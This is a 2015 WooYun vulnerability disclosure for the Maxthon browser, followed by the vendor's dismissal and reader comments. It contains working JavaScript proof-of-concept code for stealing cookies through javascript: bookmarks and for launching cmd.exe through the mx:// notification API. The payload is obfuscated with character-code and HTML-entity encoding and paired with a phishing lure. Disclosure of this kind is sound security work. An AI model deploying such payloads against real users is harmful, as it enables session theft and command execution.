当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110642

漏洞标题:傲游浏览器远程代码执行漏洞/盗取Cookie

相关厂商:傲游

漏洞作者: 数据流

提交时间:2015-04-28 11:01

修复时间:2015-04-28 12:34

公开时间:2015-04-28 12:34

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某处功能设计不当可导致远程代码执行(鸡肋)

详细说明:

发现在傲游浏览器收藏功能处 可直接添加 javascript:伪协议 并且是在当前域打开的

a1.jpg


那么这样就有问题了 要是当前的网页是qq.com,baidu.com什么的

a2.jpg


然后被攻击者再打开收藏处的url就可以执行当前页面域的js了

a3.jpg


而在FireFox的做法是先打开一个about:blank 然后再重定向到收藏地址 这样就避免了这个问题

漏洞证明:

1 盗取cookie
如何让受害者添加收藏夹
傲游浏览器支持external.addFavorite 而在同类的webkit内核的浏览器大多数都是禁止的
执行

external.addFavorite("javascript:alert(document.cookie)","TEST")


会弹出一个框

a4.jpg


这就是鸡肋之一了 但在某些网站的诱惑下还是可以的 例如色情网站的提示收藏
也可以执行了恶意js之后再重定向到一个网址 以增强隐蔽性
例如

external.addFavorite("javascript:alert(document.cookie);location.href=\"http://www.wooyun.org/\"","我是色情网站")

(wooyun反斜杠bug -_-)
2 代码执行
很多人喜欢在添加一个新的Tab然后点书签里的地址
而傲游的new tab是mx://域下的 那做的事情就多了

a5.jpg


在mx://res/notification/ 有个api maxthon.program.Program.launch
可执行命令
直接iframe mx://res/notification/ 就可以调用了

var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function()
{s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/cmd.exe","")};document.body.appendChild(s);


编码一下

String.fromCharCode(118, 97, 114, 32, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 115, 46, 115, 114, 99, 61, 34, 109, 120, 58, 47, 47, 114, 101, 115, 47, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 47, 34, 59, 115, 46, 111, 110, 108, 111, 97, 100, 61, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 10, 10, 123, 115, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 109, 97, 120, 116, 104, 111, 110, 46, 112, 114, 111, 103, 114, 97, 109, 46, 80, 114, 111, 103, 114, 97, 109, 46, 108, 97, 117, 110, 99, 104, 40, 34, 67, 58, 47, 119, 105, 110, 100, 111, 119, 115, 47, 115, 121, 115, 116, 101, 109, 51, 50, 47, 99, 109, 100, 46, 101, 120, 101, 34, 44, 34, 34, 41, 125, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59)


a6.jpg


成功执行cmd
那么就可以写一个钓鱼性的poc

<script>
function htmldecode(s){
var div = document.createElement('div');
div.innerHTML = s;
return div.innerText || div.textContent;
}
var z = '&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#101;&#118;&#97;&#108;&#40;&#83;&#116;&#114;&#105;&#110;&#103;&#46;&#102;&#114;&#111;&#109;&#67;&#104;&#97;&#114;&#67;&#111;&#100;&#101;&#40;&#49;&#49;&#56;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#51;&#50;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#54;&#49;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#57;&#57;&#44;&#32;&#49;&#49;&#55;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#52;&#54;&#44;&#32;&#57;&#57;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#57;&#55;&#44;&#10;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#54;&#57;&#44;&#32;&#49;&#48;&#56;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#52;&#48;&#44;&#32;&#51;&#52;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#48;&#50;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#51;&#52;&#44;&#32;&#52;&#49;&#44;&#32;&#53;&#57;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#52;&#54;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#57;&#57;&#44;&#32;&#54;&#49;&#44;&#32;&#51;&#52;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#49;&#50;&#48;&#44;&#32;&#10;&#53;&#56;&#44;&#32;&#52;&#55;&#44;&#32;&#52;&#55;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#52;&#55;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#48;&#50;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#57;&#57;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#52;&#55;&#44;&#32;&#51;&#52;&#44;&#32;&#53;&#57;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#52;&#54;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#48;&#56;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#57;&#55;&#44;&#32;&#10;&#49;&#48;&#48;&#44;&#32;&#54;&#49;&#44;&#32;&#49;&#48;&#50;&#44;&#32;&#49;&#49;&#55;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#57;&#57;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#52;&#48;&#44;&#32;&#52;&#49;&#44;&#32;&#49;&#50;&#51;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#52;&#54;&#44;&#32;&#57;&#57;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#56;&#55;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#57;&#44;&#32;&#10;&#52;&#54;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#50;&#48;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#52;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#52;&#54;&#44;&#32;&#49;&#49;&#50;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#48;&#51;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#52;&#54;&#44;&#32;&#56;&#48;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#48;&#51;&#44;&#32;&#49;&#49;&#52;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#52;&#54;&#44;&#32;&#49;&#48;&#56;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#49;&#55;&#44;&#32;&#10;&#49;&#49;&#48;&#44;&#32;&#57;&#57;&#44;&#32;&#49;&#48;&#52;&#44;&#32;&#52;&#48;&#44;&#32;&#51;&#52;&#44;&#32;&#54;&#55;&#44;&#32;&#53;&#56;&#44;&#32;&#52;&#55;&#44;&#32;&#49;&#49;&#57;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#49;&#57;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#52;&#55;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#49;&#50;&#49;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#53;&#49;&#44;&#32;&#53;&#48;&#44;&#32;&#52;&#55;&#44;&#32;&#57;&#57;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#48;&#56;&#44;&#32;&#57;&#57;&#44;&#32;&#10;&#52;&#54;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#50;&#48;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#51;&#52;&#44;&#32;&#52;&#52;&#44;&#32;&#51;&#52;&#44;&#32;&#51;&#52;&#44;&#32;&#52;&#49;&#44;&#32;&#49;&#50;&#53;&#44;&#32;&#53;&#57;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#57;&#57;&#44;&#32;&#49;&#49;&#55;&#44;&#32;&#49;&#48;&#57;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#49;&#49;&#48;&#44;&#32;&#49;&#49;&#54;&#44;&#32;&#52;&#54;&#44;&#32;&#57;&#56;&#44;&#32;&#49;&#49;&#49;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#49;&#50;&#49;&#44;&#32;&#52;&#54;&#44;&#32;&#57;&#55;&#44;&#32;&#49;&#49;&#50;&#44;&#32;&#49;&#49;&#50;&#44;&#32;&#49;&#48;&#49;&#44;&#32;&#10;&#49;&#49;&#48;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#54;&#55;&#44;&#32;&#49;&#48;&#52;&#44;&#32;&#49;&#48;&#53;&#44;&#32;&#49;&#48;&#56;&#44;&#32;&#49;&#48;&#48;&#44;&#32;&#52;&#48;&#44;&#32;&#49;&#49;&#53;&#44;&#32;&#52;&#49;&#44;&#32;&#53;&#57;&#41;&#41;';
var b = htmldecode(z);
function fuck()
{external.addFavorite(b,"我是色情网站");}
</script>
<a href=# onclick=fuck();>快收藏我 我是色情网站啊</a>


a7.jpg


只要在mx://下点击就能执行命令 例如历史记录

a9.jpg


a10.jpg


在执行完恶意代码后再重定向到一个网站 用户便会认为是一个正常的书签

修复方案:

参考FireFox 当用户打开书签一个网址时 先打开一个空白页 再重定向

版权声明:转载请注明来源 数据流@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-28 12:34

厂商回复:

收藏中 javascript: Chrome等均在当前页面执行

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-28 11:37 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    66666

  2. 2015-04-28 11:54 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

  3. 2015-04-28 12:04 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    空白~

  4. 2015-04-28 12:22 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    牛逼

  5. 2015-04-28 12:54 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @傲游 但是chrome没有提示收藏的功能 这样就杜绝了这类带有钓鱼性的攻击

  6. 2015-04-28 12:59 | 酷帥王子 ( 普通白帽子 | Rank:111 漏洞数:34 | 天朗日清,和风送闲,可叹那俊逸如我顾影自...)

    逼牛,鉴定完毕!

  7. 2015-04-28 13:04 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @傲游 - - 收藏中 的确几乎所有的浏览器都支持js 但是能执行执行命令吗?能直接诱导用户添加这恶意代码吗?

  8. 2015-04-28 13:15 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    这个严格来说属于漏洞。厂商理解有问题。@Finger 可以的话帮这位小伙补个rank吧

  9. 2015-04-28 13:19 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    其实这个漏洞的本质应该是你们API权限设置不严谨导致的,这个案例和 WooYun: 傲游浏览器远程代码执行及分析过程 属于同一种类型的。

  10. 2015-04-28 13:24 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @梧桐雨 : ) `(*∩_∩*)′

  11. 2015-04-28 17:29 | Soulmk ( 路人 | Rank:6 漏洞数:2 | 我是来学习滴~~)

    大牛,鉴定完毕! (*∩_∩*)

  12. 2015-04-28 22:26 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    当时试了,但那个API必然会弹这个框出来,不能在后台直接加收藏。后来就放弃了。

  13. 2015-04-29 15:51 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @phith0n 要是不弹的话用户就不知道有这个收藏地址了 不会刻意去点击

  14. 2015-04-29 15:56 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    弹个窗的话可以不修改,但是代码执行命令这个……把名字弄得诱惑点那么用户点击后……哦,后果自己想 @xsser给这小伙伴补几个rank吧:)

  15. 2015-04-30 09:51 | 屠龙宝刀点击就送 ( 路人 | Rank:4 漏洞数:2 | 简要介绍不能为空)

    “收藏中 javascript: Chrome等均在当前页面执行”“苹果也是玻璃屏幕已碎”

  16. 2015-04-30 10:01 | wolf ( 实习白帽子 | Rank:44 漏洞数:7 | wolf@伏宸安全团队)

    浏览器系列